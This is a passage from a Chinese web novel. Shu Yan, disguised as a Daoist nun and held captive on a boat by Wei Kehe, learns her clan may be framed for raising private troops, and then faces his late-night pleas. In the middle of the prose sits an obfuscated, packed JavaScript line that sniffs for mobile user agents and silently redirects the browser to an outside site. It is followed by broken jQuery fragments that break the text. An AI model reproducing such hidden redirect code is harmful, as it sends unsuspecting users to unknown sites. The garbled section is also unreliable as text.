鸢儿见舒晏回来时面色不好脚步虚浮,心中已知不妙。
她低声问道:“娘子,那卫贼莫不是改了主意,不肯放我们走了?”
舒晏点点头,却没往她床边去,转而走到了桌案前,提笔作画。
鸢儿只当娘子被卫贼气得失了神,她心中虽也着急,但见娘子这样还是连忙出声安慰:
“娘子,无妨的,虽是日后看守可能会严些,但也未必没有机会。等我伤好了,那元辞元骁两人加起来也不是我的对手。”
舒晏凝神作画,笔尖分毫未顿,“卫恪焉那厮待下了船,恐怕就会让我行还俗礼,能拖的时间不多了。”
“娘子莫不是改了主意,真想与那卫贼为妾,难道娘子对他…”
鸢儿的话还没说完,自己就先觉得不对,便住了口。
“我对他并没有什么。”
舒晏声音冷淡,连头都没抬。
是了,时至今日卫恪焉连娘子的真名都不知道,足可见娘子对他无心。
得了娘子的话,鸢儿有了底,扯着床帐朝着安之若素的娘子道:
“娘子既然不愿,如今也没了别的法子。娘子何不告诉他你是舒氏的二小姐,到底是官家家眷,那卫贼必然不敢再行狂浪之事。等老爷夫人得了信,定然会来讨个说法。”
“讨说法?”
舒晏嘴角溢出轻笑,似在叹鸢儿的天真。
“他们能讨来什么说法?父亲母亲虽疼我,但舒氏一族怎会因我与卫氏对抗。他们若是知晓我与卫恪焉纠缠不清,族里只怕是要欢欢喜喜的将我送给他。父亲母亲能做的,最多就是拼着舒氏一族的体面,求他让我做正妻。”
舒晏语速慢了下来,停下笔,看向鸢儿。
“我又不喜他,做妾与做主母于我来说都是桎梏,讨这个说法来有何用?反倒是递出了把柄,让自己更容易被拿捏,那才是彻底没了退路。”
她叹了口气,正了神色接着道:“不过,这些现在都不是紧要的。就算现在有机会,我们也不能走了。”
鸢儿不解,“这是为何?”
舒晏顾及着鸢儿的伤势,把刚刚画的图拿到她面前,“你看这个可眼熟?”
“这是…我们舒氏的族徽?这纹样虽是简化了不少,但这两处线条特殊,但凡是舒家的人都是能认出来的。”
“你也觉得是?”
鸢儿的话验证了她心中的猜想,她指尖的纹样被捏的发皱,面上血色一寸寸褪尽。
“可娘子怎么想起来画这个了?”
她缓了缓神,按住鸢儿防止她过会儿激动扯着伤口,方才继续道:
“这是我刚刚在卫恪焉那看到的,他说这与浔川郡养私兵背后的主使人有关。我虽许多年没回家,但我舒氏从未有此野心,我担忧是有人要陷害我舒氏。”
鸢儿被她按得结实,这才没跳起来。
“圈养私兵可是抄家灭族的大罪,一旦定罪,全族上下无一人可幸免。娘子是想从卫恪焉这里找到线索吗?这太危险了娘子,还是传信让家里想办法吧。”
舒晏揉着眉心,她也是没想到舒氏会搅和进这种事来。
“先不说我们现在有没有机会回去,便是回去了,舒氏牵扯进谋反里,我们回去不仅没有翻盘的机会,更是自投罗网。”
她缓了语气,“信自然是要传的,待我把事情弄明白便传信给大哥。我虽觉得父亲不会行此事,却也不能保证族中其他人不会行此事。还是要让大哥查查家中族人有没有异动。”
鸢儿见娘子已经是拿定主意,任谁都劝不动了。她思虑再三只道:“既然如此,那我听娘子的,只是娘子答应我定要顾及自身。待事情查明与我一同离开。”
“这是自然。”
舒晏捋着鸢儿因躺在床上而乱糟糟的头发,心头发软。
她虽一心回现代,但在这个世界,总还有些在意的人。
这些人安安稳稳的生活,她才能安安心心的离开。
她将手中的纹样递向了烛火,直到纸张一点一点地被火舌蚕食殆尽才松了手。
鸢儿看着残余的灰烬心跳得很快。
“娘子今夜陪我一起睡吧,你与我说了这些,我今晚可是要怕得睡不着觉了。”
“可你的伤…”
“娘子昨夜便这么说,可今夜我确实害怕嘛,你看这床很宽的,我伤的是左肩,娘子睡在我右边便是了。”
舒晏只略沉吟便应了下来。
卫恪焉总是喜欢在半夜来她房里犯疯病,哭哭缠缠的,虽也不做什么,但她的睡眠质量大幅度降低了。
今夜还是在鸢儿这睡吧。
“好,那我今天好好陪陪我们鸢儿。”
床帐的包围感,让两人都很安心,仿若她们还在云岫观的草席上,闲话家常。
两人就这样躺着,一言一语的说着话。
身下的船身随着水波轻轻晃荡,像只摇篮把夜色也哄得软了。
江风徐徐,似是摇篮曲。
船上有人仍嫌不足,于是请江风裹着阵阵琴音,稳稳地送至她们的枕畔。
舒晏侧耳一听,其音哀弦微妙,清气含芳。
她忍不住赞道:“这琴弹得倒是好。”
鸢儿撇撇嘴,“不过雕虫小技,还来娘子面前献丑,娘子弹得可比这好多了,京城的秦教习还夸过娘子呢。”
舒晏轻笑,“属你最偏心,你莫不是忘了,秦教习虽夸我将技巧融会贯通,却也说了我的琴技精而情寡。”
船上的琴声却是不同,感情充沛远胜于技法,情意绵绵又哀怨婉转。
这大半夜的,只有卫恪焉会抚琴了……
舒晏也不在意,左右琴声也挺好听的,她伴着琴声也能睡着。
正准备把灯熄了,门外就传来了敲门声。
“打扰道长了,郎君伤口突然疼得厉害,想请娘子过去瞧瞧。”
是元骁的声音。
舒晏支起身,想要坐起来。
鸢儿扯着她的衣袖,“娘子你答应陪我的。”
舒晏朝她莞尔一笑,对着门外道,“我已安寝,卫郎君不如先去请军医瞧瞧。”
说罢便又躺了下来,“放心,说好今晚要陪你的。”
门外的元骁踌躇了一会,还是先离开了。
“郎君,栖尘道长已经在她师妹那歇下了,她还说…让郎君先请军医过来看看。”
卫恪焉勾弦的手一顿,婉转的琴声戛然而止,手底下的古琴铮地劈出一声刺耳杂音。
“不知道要动动脑子吗?就说我疼得厉害,军医来看过了,也不知道因为什么,再去请。”
元骁也是没辙了,走之前狠狠瞪了眼守在门外眼观鼻鼻观心的元辞。此子真是心机深沉,这差事怎么落在了他的身上啊!
再去时,道长房间里的烛火已经熄了。
想着主子的提点,元骁还是壮着胆子,试探着敲了下门。
半晌没听得动静,他正准备再次叩门,房门忽地被人从里面推开。
道长从屋内出来时,手指竖在唇边,示意他别出声,待合上了门才压着嗓音低声开口:
“轻声些,我师妹已经睡着了。你家大人还有什么事?”
元骁垂着眼,不敢看她。
“我家郎君实在是疼得厉害,睡不着觉,军医也没了办法,还是请道长再去瞧瞧。”
舒晏捏着眉心,没好气道:“这大半夜的又在闹什么,白日里不是已经上过药了。我是会一些医术,可又不是会仙法,还能让他好了不成?”
话是这么说,她还是从袖中取出一罐药。
“这是止疼的,他的伤口只是寻常刺伤,也没炎症,你把这药拿回去让他抹就是了,不要再过来了。”
她下的手她心中自然有数,这分明又是卫恪焉在借机生事。
刚想回房间,她便冷不丁地看见了站在暗处的卫恪焉。
酝酿的困意,陡然散了个干净。
卫恪焉神色阴沉沉的望着她,几乎是要与周身的黑暗融于一体了。
他见元骁久久没回,心想是他无用请不来人,只好自己过来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773563|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不曾想栖尘背地里竟对他这样不耐烦。
心中五味杂陈。
他转身便要离开,只给舒晏留下一个怒气冲冲的背影。
舒晏回头看了眼已经熄了灯的房间,到底没追上去。
还是明天再说吧。
刚转身,手腕就被气冲冲的人攥住了。
是卫恪焉去而复返。
他气压更沉了,也不说话,闷着头拉着她一直走,把她带到了他房里。
舒晏见屋内摆着琴,熏着香,桌上还备了酒和点心,就知道他花了大功夫。
可今天发生的事实在太多,她一时也不知拿什么态度去面对他。
她虽想利用他得到消息,可利用说到底就是利益交换。
她想要消息,他想要的却是她。
她现在实在是不敢再给他画饼。
因为她知道等下了船,还了俗,她这张面饼就会被揉圆捏扁吃干抹净。
于是她只垂着头沉默地站着,等待可以预见的暴风雨。
“你还知道怕?”
卫恪焉看她现在这窝囊样,气不打一处来,“你这是什么道长,当面一套背后一套。”
“贫道……”她嗫嚅着想辩驳两句,却又被打断。
“不许再说贫道。”
她咽了咽口水。
“郎君伤口还疼吗,可用我瞧瞧。”
“你不是说了,栖尘道长又不是什么真仙,还能让我不疼了吗。”
他一身骄矜散了大半,彻底泄了气,他费力抬手指向摆满佳肴的桌案,“去吃吧。”
舒晏磨蹭过去,堪堪用了几口,实在是食不下咽。
“郎君,你不吃的话可以别盯着我吗。”
他轻哼一声,扭过了头,不去看她。
她垂眸暗暗叹了口气,视线再次在屋内扫了遍。
案上的菜品是她喜欢的口味,酒水也是不醉人的梨花酿,香薰也清甜舒适,一看就知道是用了心。
她又瞥了眼扭过头去的卫恪焉,哪怕是大半夜也是打扮得漂漂亮亮的。
她心里有些不自在。
罢了。
她拿起案上的帕子净了手,起身坐到了琴前,悦耳的琴音从她手下倾泻而出。
卫恪焉被琴音勾得回过身,一眨不眨地望向她。
一曲毕。
舒晏局促的抿着唇,语气都放的轻柔。
“不要生气了好不好?”
卫恪焉的架子再也摆不起来。
这算什么,抚琴就算赔不是了吗。
他暗自咬牙,嘴上却不争气,“我没生气。”
气氛正好,原本冷却的心思又活泛起来。
“栖尘明日我们就到珞郡了。我们好好的可以吗?之前我把你掳过来是我的不是,你想跑我也不怨你,但我们能不能从头开始。你给我个机会好吗?”
舒晏见他低头,有些绷不住笑,“哦?照你这么说,是可以让我选了?”
卫恪焉笑意一僵。
“既然不放我走,又何必故作大方。”
舒晏指尖倏地划过琴弦,发出泠泠轻响,“你倒也不用费心为我做这些。左右我现在已经跑不掉了,不是吗?”
卫恪焉的脸霎时涨红,“我什么都没做,只是伤口疼想让你过来看看罢了。”
舒晏没有戳破。
哪有一个伤口疼着的人,还会在大半夜有闲情逸致去弹琴。
许是他也觉得这个借口找得不好,于是坐在舒晏身侧,开始剖白。
“栖尘,我只是想你陪陪我。”
“你今晚可以在我这屋睡吗?我什么都不做,真的。”
“你也知道自从你消失,我就没怎么睡过,便是一时睡着了也会做梦,梦见你不见了,我真的很害怕。”
他牵起舒晏悬在琴弦上的指尖,贴在自己的脸上,目光中带着似有若无的祈求。
“栖尘,我这张脸你难道一点也不喜欢吗?”
舒晏被他这般伏低做小的样子晃了神,指尖僵在原处,一时竟忘记收回手。